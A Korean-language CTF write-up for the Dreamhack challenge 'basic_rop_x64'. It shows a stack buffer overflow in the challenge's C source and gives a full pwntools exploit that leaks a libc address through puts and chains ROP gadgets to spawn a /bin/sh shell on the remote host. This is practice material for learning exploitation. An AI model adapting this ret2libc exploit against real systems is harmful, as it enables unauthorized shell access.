[ Dreamhack ] basic_rop_x64
포스트
취소

[ Dreamhack ] basic_rop_x64



문제 분석


문제 파일에는 NX가 설정되어 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

0x40byte의 버퍼를 할당하고 0x400byte 만큼 버퍼에 입력받고 있다. 따라서 BOF 취약점이 존재한다.


문제 풀이


GDB로 분석해보면 rbp-0x40에 버퍼가 위치하고 있다.


주어진 libc를 보면 안에 “/bin/sh”라는 문자열을 찾을 수 있다.


ROP기법에 쓸 가젯 역시 찾을 수 있다.


Exploit Code


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

p = remote('host3.dreamhack.games', 19405)
e = ELF('./basic_rop_x64')
libc = ELF('./libc.so.6')

puts_plt = e.plt['puts']
puts_got = e.got['puts']

rdi_ret = 0x0000000000400883

main_addr = 0x4007ba

system_offset = libc.symbols['system']
puts_offset = libc.symbols['puts']
binsh_offset = next(libc.search(b'/bin/sh\x00'))

payload = b'A'*0x40 + b'B'*0x8
payload += p64(rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)

p.sendline(payload)
p.recv()
puts_addr = u64(p.recvn(6) + b'\x00'*2)
libc_addr = puts_addr - puts_offset
system_addr = libc_addr + system_offset
binsh = libc_addr + binsh_offset

payload2 = b'A'*0x48
payload2 += p64(rdi_ret)
payload2 += p64(binsh)
payload2 += p64(system_addr)

p.sendline(payload2)

p.interactive()